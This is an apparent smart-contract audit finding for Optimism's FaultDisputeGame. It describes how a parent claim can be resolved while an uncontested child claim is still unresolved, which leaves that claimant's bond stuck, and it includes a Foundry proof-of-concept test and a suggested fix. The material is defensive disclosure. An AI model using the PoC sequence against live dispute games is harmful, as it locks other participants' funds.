Broad Cloth Goldfish

medium

# A dispute game can be resolved before an uncontested subgame has been resolved. This leads to un-retrievable funds for the claimant (only retrievable by owner of DelayedWETH)

## Summary
The invariant in `FaultDisputeGame.resolveClaim()` stating `INVARIANT: Cannot resolve a subgame containing an unresolved claim` can be violated due to an edge case and incomplete check. This leads to the entire bond of a claimant being lost and unredeemable until manual admin intervention. 

## Vulnerability Detail
The `FaultDisputeGame.resolveClaim()` function loops across the challenges on a given claim, and reverts if any one of the claim's subgames have more than 0 subgames. The intention of this is to prevent the resolution of a claim before it's subclaim is resolved (maintaining proper order of resolution).

```solidity
for (uint256 i = 0; i < challengeIndicesLen; ++i) {

                    /*[OTHER CODE REMOVED]*/

    uint256 challengeIndex = challengeIndices[i];
    // INVARIANT: Cannot resolve a subgame containing an unresolved claim
    if (subgames[challengeIndex].length != 0) revert OutOfOrderResolution();

                    /*[OTHER CODE REMOVED]*/

}
```

As shown in the code comment above, it is stated as an INVARIANT that one cannot resolve a subgame containing an unresolved claim. However, due to an edge case this invariant can be violated leading to loss of user funds.

The issue is that the above check relies on the assumption that if the challenge has 0 subgames, then it must have been resolved. However that is not the case, since some subgames can simply be uncontested, but not resolved yet.

This means that even though the subgame has not been resolved, the above check does not revert, so the parent claim can continue to be resolved. 

## Impact
Once the parent claim has been resolved, and any other claims have been resolved, the entire game can be resolved. After this, the child claim which was left unresolved will not be able to be resolved via `resolveClaim` since the game is no longer `IN_PROGRESS`. The claimant's bond is stuck in the `DelayedWETH` contract, and the only way to retrieve it would be to request it from the owner of the `DelayedWETH` contract.

## Code Snippet
https://github.com/sherlock-audit/2024-02-optimism-2024/blob/f216b0d3ad08c1a0ead557ea74691aaefd5fd489/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L445-L446

## Proof of Concept
The following proof of concept proves that the invariant (invariant: claim cannot be resolved when it has unresolved subgames) can be violated.

**To run the PoC:** add the following foundry test to `test/dispute/FaultDisputeGame.t.sol` in the `packages/contracts-bedrock` package.

Then run `forge test --mt test_bobCantResolveClaim_lostBond` in the terminal

<details>

<summary> Foundry test </summary>

```solidity
function test_bobCantResolveClaim_lostBond() public {
    uint256 balance = 1000 ether;
    address alice = address(0xa11ce);
    address bob = address(0xb0b);
    address charlie = address(0xc0c);
    vm.deal(address(this), balance);
    vm.deal(alice, balance);
    vm.deal(bob, balance);
    vm.deal(charlie, balance);

    // Make claims with bob, charlie and the test contract on defense, and alice as the challenger
    // charlie is successfully countered by alice
    // alice is successfully countered by both bob and the test contract

    // Alice challenges the root claim via 'attack'
    uint256 firstBond = _getRequiredBond(0);
    vm.prank(alice);
    gameProxy.attack{ value: firstBond }(0, _dummyClaim());

    // Bob challenges alice's claim via 'defend'
    uint256 secondBond = _getRequiredBond(1);
    vm.prank(bob);
    gameProxy.defend{ value: secondBond }(1, _dummyClaim());

    // Getting the claim index of bob so it can be skipped later
    uint256 bob_claimIndex = gameProxy.claimDataLen()-1;

    // Charlie challenges alice's claim via 'attack'
    vm.prank(charlie);
    gameProxy.attack{ value: secondBond }(1, _dummyClaim());

    // this is done by the test contract
    gameProxy.attack{ value: secondBond }(1, _dummyClaim());

    // alice challenges charlie's claim via 'attack'
    uint256 thirdBond = _getRequiredBond(3);
    vm.prank(alice);
    gameProxy.attack{ value: thirdBond }(3, _dummyClaim());

    // All in one TX: resolve all claims (except for bob's) ---> then resolve the game 
    vm.warp(block.timestamp + 3 days + 12 hours + 1 seconds);
    for (uint256 i = gameProxy.claimDataLen(); i > 0; i--) {
        if (i - 1 == bob_claimIndex) {
            console.log("SKIPPING BOB");
            continue;
        }
        (bool success,) = address(gameProxy).call(abi.encodeCall(gameProxy.resolveClaim, (i - 1)));
        assertTrue(success);
    }
    // resolve the game fully now
    gameProxy.resolve();

    // ASSERT: bob can no longer resolve his claim
    (bool success,) = address(gameProxy).call(abi.encodeCall(gameProxy.resolveClaim, bob_claimIndex));
    assertFalse(success);

    // Wait for the withdrawal delay.
    vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);

    gameProxy.claimCredit(address(this));
    gameProxy.claimCredit(alice);

    // Bob didn't get to resolve his uncontested claim, so lost his bond forever
    vm.expectRevert(NoCreditToClaim.selector);
    gameProxy.claimCredit(bob);

    // Charlie's claim should revert since it's value is 0
    vm.expectRevert(NoCreditToClaim.selector);
    gameProxy.claimCredit(charlie);

    //Assert that bob lost his bond
    assertEq(bob.balance, balance - secondBond);

    //Assert that other bonds (not bob's) were paid out correctly.
    uint256 aliceLosses = firstBond;
    uint256 charlieLosses = secondBond;
    
    assertEq(address(this).balance, balance + aliceLosses, "incorrect this balance");
    assertEq(alice.balance, balance - aliceLosses + charlieLosses, "incorrect alice balance");
    assertEq(charlie.balance, balance - charlieLosses, "incorrect charlie balance");
    assertEq(address(gameProxy).balance, 0);
}
```
</details>

## Tool used
Manual Review, Foundry

## Recommendation
Consider using a more effective method to check whether a claim is resolved or not. 

For example, an extra boolean field in the `ClaimData` struct called `resolved` can be set to true whenever a claim has been resolved via `resolveClaim()`. Then this boolean can be checked, rather than checking the number of subgames which does not cover all cases correctly.